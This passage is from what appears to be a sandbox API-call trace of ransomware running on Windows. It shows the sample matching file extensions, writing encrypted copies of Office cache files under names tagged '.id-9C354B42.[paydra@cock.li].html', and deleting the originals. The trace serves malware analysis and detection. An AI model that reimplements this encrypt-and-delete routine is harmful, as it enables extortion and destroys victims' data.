4 [0034.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".xls") returned 4 [0034.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".xlsx") returned 5 [0034.573] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.573] lstrlenW (lpString=".ppt") returned 4 [0034.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.573] lstrlenW (lpString=".zip") returned 4 [0034.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.573] lstrlenW (lpString=".rar") returned 4 [0034.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".bz2") returned 4 [0034.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".7z") returned 3 [0034.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.574] lstrlenW (lpString=".dbf") returned 4 [0034.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.574] lstrlenW (lpString=".1cd") returned 4 [0034.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.574] lstrlenW (lpString=".jpg") returned 4 [0034.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.574] lstrlenW (lpString=".doc") returned 4 [0034.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString=".docx") returned 5 [0034.574] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.574] lstrlenW (lpString=".pdf") returned 4 [0034.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString=".xls") returned 4 [0034.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString=".xlsx") returned 5 [0034.574] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.574] lstrlenW (lpString=".ppt") returned 4 [0034.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.574] lstrlenW (lpString=".zip") returned 4 [0034.574] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.574] lstrlenW (lpString=".rar") returned 4 [0034.574] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString=".bz2") returned 4 [0034.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.574] lstrlenW (lpString=".7z") returned 3 [0034.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.575] lstrlenW (lpString=".dbf") returned 4 [0034.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.575] lstrlenW (lpString=".1cd") returned 4 [0034.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.575] lstrlenW (lpString=".jpg") returned 4 [0034.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.575] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.575] lstrlenW (lpString="Setup.xml") returned 9 [0034.575] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.575] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5884) returned 1 [0034.575] CloseHandle (hObject=0x180) returned 1 [0034.575] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.575] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.575] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.576] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.576] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.576] GetLastError () returned 0x0 [0034.576] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0034.655] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0034.656] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.656] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.656] SetEndOfFile (hFile=0x198) returned 1 [0034.657] CloseHandle (hObject=0x198) returned 1 [0034.657] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.657] SetEndOfFile (hFile=0x180) returned 1 [0034.658] CloseHandle (hObject=0x180) returned 1 [0034.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.658] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.658] lstrlenW (lpString=".doc") returned 4 [0034.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString=".docx") returned 5 [0034.659] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.659] lstrlenW (lpString=".pdf") returned 4 [0034.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString=".xls") returned 4 [0034.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString=".xlsx") returned 5 [0034.659] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.659] lstrlenW (lpString=".ppt") returned 4 [0034.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.659] lstrlenW (lpString=".zip") returned 4 [0034.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.659] lstrlenW (lpString=".rar") returned 4 [0034.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString=".bz2") returned 4 [0034.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString=".7z") returned 3 [0034.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.659] lstrlenW (lpString=".dbf") returned 4 [0034.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.659] lstrlenW (lpString=".1cd") returned 4 [0034.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.659] lstrlenW (lpString=".jpg") returned 4 [0034.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.659] lstrlenW (lpString=".doc") returned 4 [0034.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.659] lstrlenW (lpString=".docx") returned 5 [0034.660] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.660] lstrlenW (lpString=".pdf") returned 4 [0034.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString=".xls") returned 4 [0034.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString=".xlsx") returned 5 [0034.660] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.660] lstrlenW (lpString=".ppt") returned 4 [0034.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.660] lstrlenW (lpString=".zip") returned 4 [0034.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.660] lstrlenW (lpString=".rar") returned 4 [0034.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString=".bz2") returned 4 [0034.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString=".7z") returned 3 [0034.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.660] lstrlenW (lpString=".dbf") returned 4 [0034.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.660] lstrlenW (lpString=".1cd") returned 4 [0034.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.660] lstrlenW (lpString=".jpg") returned 4 [0034.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.660] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.661] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0034.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.661] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1231) returned 1 [0034.661] CloseHandle (hObject=0x180) returned 1 [0034.661] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0034.662] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.662] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.662] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.662] GetLastError () returned 0x0 [0034.662] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0035.092] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0035.093] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.093] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0035.093] SetEndOfFile (hFile=0x198) returned 1 [0035.093] CloseHandle (hObject=0x198) returned 1 [0035.094] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.094] SetEndOfFile (hFile=0x180) returned 1 [0035.095] CloseHandle (hObject=0x180) returned 1 [0035.095] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.095] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0035.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.095] lstrlenW (lpString=".doc") returned 4 [0035.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString=".docx") returned 5 [0035.096] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.096] lstrlenW (lpString=".pdf") returned 4 [0035.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString=".xls") returned 4 [0035.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString=".xlsx") returned 5 [0035.096] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.096] lstrlenW (lpString=".ppt") returned 4 [0035.096] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.096] lstrlenW (lpString=".zip") returned 4 [0035.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.096] lstrlenW (lpString=".rar") returned 4 [0035.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString=".bz2") returned 4 [0035.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString=".7z") returned 3 [0035.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.096] lstrlenW (lpString=".dbf") returned 4 [0035.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.096] lstrlenW (lpString=".1cd") returned 4 [0035.096] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.096] lstrlenW (lpString=".jpg") returned 4 [0035.096] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.096] lstrlenW (lpString=".doc") returned 4 [0035.097] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString=".docx") returned 5 [0035.097] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.097] lstrlenW (lpString=".pdf") returned 4 [0035.097] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString=".xls") returned 4 [0035.097] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString=".xlsx") returned 5 [0035.097] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.097] lstrlenW (lpString=".ppt") returned 4 [0035.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.097] lstrlenW (lpString=".zip") returned 4 [0035.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.097] lstrlenW (lpString=".rar") returned 4 [0035.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString=".bz2") returned 4 [0035.097] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString=".7z") returned 3 [0035.097] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.097] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.097] lstrlenW (lpString=".dbf") returned 4 [0035.097] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.097] lstrlenW (lpString=".1cd") returned 4 [0035.097] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.097] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0035.097] lstrlenW (lpString=".jpg") returned 4 [0035.097] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.097] lstrcmpiW (lpString1=".chm", lpString2=".html") returned -1 [0035.097] lstrlenW (lpString="pss10r.chm") returned 10 [0035.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.157] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=27195) returned 1 [0035.157] CloseHandle (hObject=0x184) returned 1 [0035.157] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0035.157] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.157] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.157] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.157] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.158] GetLastError () returned 0x0 [0035.158] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0035.160] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0035.161] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.161] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0035.161] SetEndOfFile (hFile=0x1a0) returned 1 [0035.161] CloseHandle (hObject=0x1a0) returned 1 [0035.162] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.162] SetEndOfFile (hFile=0x184) returned 1 [0035.163] CloseHandle (hObject=0x184) returned 1 [0035.163] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.163] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0035.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.164] lstrlenW (lpString=".doc") returned 4 [0035.164] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString=".docx") returned 5 [0035.164] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 